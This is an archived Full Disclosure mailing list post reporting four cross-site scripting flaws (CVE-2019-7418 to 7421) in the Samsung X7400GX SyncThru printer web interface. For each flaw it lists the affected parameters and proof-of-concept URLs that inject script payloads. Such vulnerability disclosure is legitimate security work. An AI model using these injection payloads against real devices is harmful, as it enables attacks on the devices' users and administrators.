full-disclosure - [FD] [CVE-2019-7418, CVE-2019-7419, CVE-2019-7420, CVE-2019-7421] Cross Site Scripting in SAMSUNG X7400GX Sync Thru Web Service

Open Source and information security mailing list archives

Message-ID: <CANoQWWcsGu3TS7JdzS1_fMxMNpzWN44uJNVAiyJdVNWPzxHBQQ@mail.gmail.com>
Date: Wed, 6 Feb 2019 07:30:39 +0100
From: Rafael Pedrero <rafael.pedrero@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] [CVE-2019-7418, CVE-2019-7419, CVE-2019-7420,
 CVE-2019-7421] Cross Site Scripting in SAMSUNG X7400GX Sync Thru
 Web Service

<!--
# Exploit Title: Cross Site Scripting in SAMSUNG X7400GX Sync Thru Web
Service
# Date: 24-01-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.samsungprinter.com/,
http://www.samsung.com/Support/ProductSupport/download/index.aspx
# Software Link: http://www.samsungprinter.com/,
http://www.samsung.com/Support/ProductSupport/download/index.aspx
# Version: SAMSUNG X7400GX Sync Thru Web Service Firmware Version System
Firmware Version V6.A6.25, Main Firmware Version V11.01.05.25_08-21-2015
# Tested on: all
# CVE : CVE-2019-7418
# Category: webapps

1. Description

XSS exists in SAMSUNG X7400GX SyncThru Web Service V6.A6.25
V11.01.05.25_08-21-2015 in "/sws/swsAlert.sws" in multiple parameters:
flag, frame, func, and Nfunc.

2. Proof of Concept

URL

http://X.X.X.X/sws/swsAlert.sws?popupid=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&type=alert&bullet=suc&func=&Nfunc=closePopup('successMsg
','','')&flag=&frame=bob@...SCRipt%3Ealert(XSS)%3C/scrIPT%3E.XSSproxy.org
&msg=The%20requested%20report(s)%20will%20be%20printed

Parameter
 frame=bob@<SCRipt>alert(XSS)</scrIPT>.XSSproxy.org

URL

http://X.X.X.X/sws/swsAlert.sws?popupid=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&type=alert&bullet=suc&func=&Nfunc=closePopup('successMsg
','','')&flag=bob@...SCRipt%3Ealert(XSS)%3C/scrIPT%3E.XSSproxy.org
&frame=&msg=The%20requested%20report(s)%20will%20be%20printed

Parameter
 flag=bob@<SCRipt>alert(XSS)</scrIPT>.XSSproxy.org

URL

http://X.X.X.X/sws/swsAlert.sws?popupid=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&type=alert&bullet=suc&func=&Nfunc=bob@%3CSCRipt%3Ealert(XSS)%3C/scrIPT%3E.XSSproxy.org&flag=&frame=&msg=The%20requested%20report(s)%20will%20be%20printed

Parameter
 Nfunc=bob@<SCRipt>alert(XSS)</scrIPT>.XSSproxy.org

URL

http://X.X.X.X/sws/swsAlert.sws?popupid=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&type=alert&bullet=suc&func=bob@%3CSCRipt%3Ealert(XSS)%3C/scrIPT%3E.XSSproxy.org&Nfunc=closePopup('successMsg
','','')&flag=&frame=&msg=The%20requested%20report(s)%20will%20be%20printed

Parameter
 func=bob@<SCRipt>alert(XSS)</scrIPT>.XSSproxy.org

URL

http://X.X.X.X/sws/swsAlert.sws?popupid=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&type=bob@%3CSCRipt%3Ealert(XSS)%3C/scrIPT%3E.XSSproxy.org&bullet=suc&func=&Nfunc=closePopup('successMsg
','','')&flag=&frame=&msg=The%20requested%20report(s)%20will%20be%20printed

Parameter
 type=bob@<SCRipt>alert(XSS)</scrIPT>.XSSproxy.org

URL

http://X.X.X.X/sws/swsAlert.sws?popupid=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&type=alert&bullet=suc&func=&Nfunc=closePopup('successMsg
','','')&flag=&frame=&msg=The%20requested%20report(s)%20will%20be%20printed

Parameter
 popupid=<SCRIPT>alert("XSS");</SCRIPT>

3. Solution:

Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

<!--
# Exploit Title: Cross Site Scripting in SAMSUNG X7400GX Sync Thru Web
Service
# Date: 24-01-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.samsungprinter.com/,
http://www.samsung.com/Support/ProductSupport/download/index.aspx
# Software Link: http://www.samsungprinter.com/,
http://www.samsung.com/Support/ProductSupport/download/index.aspx
# Version: SAMSUNG X7400GX Sync Thru Web Service Firmware Version System
Firmware Version V6.A6.25, Main Firmware Version V11.01.05.25_08-21-2015
# Tested on: all
# CVE : CVE-2019-7419
# Category: webapps

1. Description

XSS exists in SAMSUNG X7400GX SyncThru Web Service V6.A6.25
V11.01.05.25_08-21-2015 in "/sws/leftmenu.sws" in multiple parameters:
ruiFw_id, ruiFw_pid, ruiFw_title.

2. Proof of Concept

URL

http://X.X.X.X/sws/leftmenu.sws?ruiFw_id=FirmwareVersion&ruiFw_pid=Maintenance&ruiFw_title=%3CSCRIPT%3Ealert(XSS);%3C/SCRIPT%3E

Parameter
 ruiFw_title=<SCRIPT>alert(XSS);</SCRIPT>

URL

http://X.X.X.X/sws/leftmenu.sws?ruiFw_id=FirmwareVersion&ruiFw_pid=%3CSCRIPT%3Ealert(XSS);%3C/SCRIPT%3E&ruiFw_title=Mantenimiento

Parameter
 ruiFw_pid=<SCRIPT>alert(XSS);</SCRIPT>

URL

http://X.X.X.X/sws/leftmenu.sws?ruiFw_id=%3CSCRIPT%3Ealert(XSS);%3C/SCRIPT%3E&ruiFw_pid=Maintenance&ruiFw_title=Mantenimiento

Parameter
 ruiFw_id=<SCRIPT>alert(XSS);</SCRIPT>

3. Solution:

Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

<!--
# Exploit Title: Cross Site Scripting in SAMSUNG X7400GX Sync Thru Web
Service
# Date: 24-01-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.samsungprinter.com/,
http://www.samsung.com/Support/ProductSupport/download/index.aspx
# Software Link: http://www.samsungprinter.com/,
http://www.samsung.com/Support/ProductSupport/download/index.aspx
# Version: SAMSUNG X7400GX Sync Thru Web Service Firmware Version System
Firmware Version V6.A6.25, Main Firmware Version V11.01.05.25_08-21-2015
# Tested on: all
# CVE : CVE-2019-7420
# Category: webapps

1. Description

XSS exists in SAMSUNG X7400GX SyncThru Web Service V6.A6.25
V11.01.05.25_08-21-2015 in
"/sws.application/information/networkinformationView.sws" in the tabName

2. Proof of Concept

URL

http://X.X.X.X/sws.application/information/networkinformationView.sws?tabName=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E

Parameter
 tabName=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E

3. Solution:

Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

<!--
# Exploit Title: Cross Site Scripting in SAMSUNG X7400GX Sync Thru Web
Service
# Date: 24-01-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.samsungprinter.com/,
http://www.samsung.com/Support/ProductSupport/download/index.aspx
# Software Link: http://www.samsungprinter.com/,
http://www.samsung.com/Support/ProductSupport/download/index.aspx
# Version: SAMSUNG X7400GX Sync Thru Web Service Firmware Version System
Firmware Version V6.A6.25, Main Firmware Version V11.01.05.25_08-21-2015
# Tested on: all
# CVE : CVE-2019-7421
# Category: webapps

1. Description

XSS exists in SAMSUNG X7400GX SyncThru Web Service V6.A6.25
V11.01.05.25_08-21-2015 in "/sws.login/gnb/loginView.sws" in multiple
parameters: contextpath and basedURL.

2. Proof of Concept

URL

http://X.X.X.X/sws.login/gnb/loginView.sws?contextpath=bob@%3CSCRipt%3Ealert(XSS)%3C/scrIPT%3E.XSSproxy.org

Parameter
 contextpath=bob@<SCRipt>alert(XSS)</scrIPT>.XSSproxy.org

URL

http://X.X.X.X/sws.login/gnb/loginView.sws?basedURL=%3CSCRIPT%3Ealert(XSS);%3C/SCRIPT%3E&popupid=id_Login

Parameter
 basedURL=<SCRIPT>alert(XSS);</SCRIPT>

3. Solution:

Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives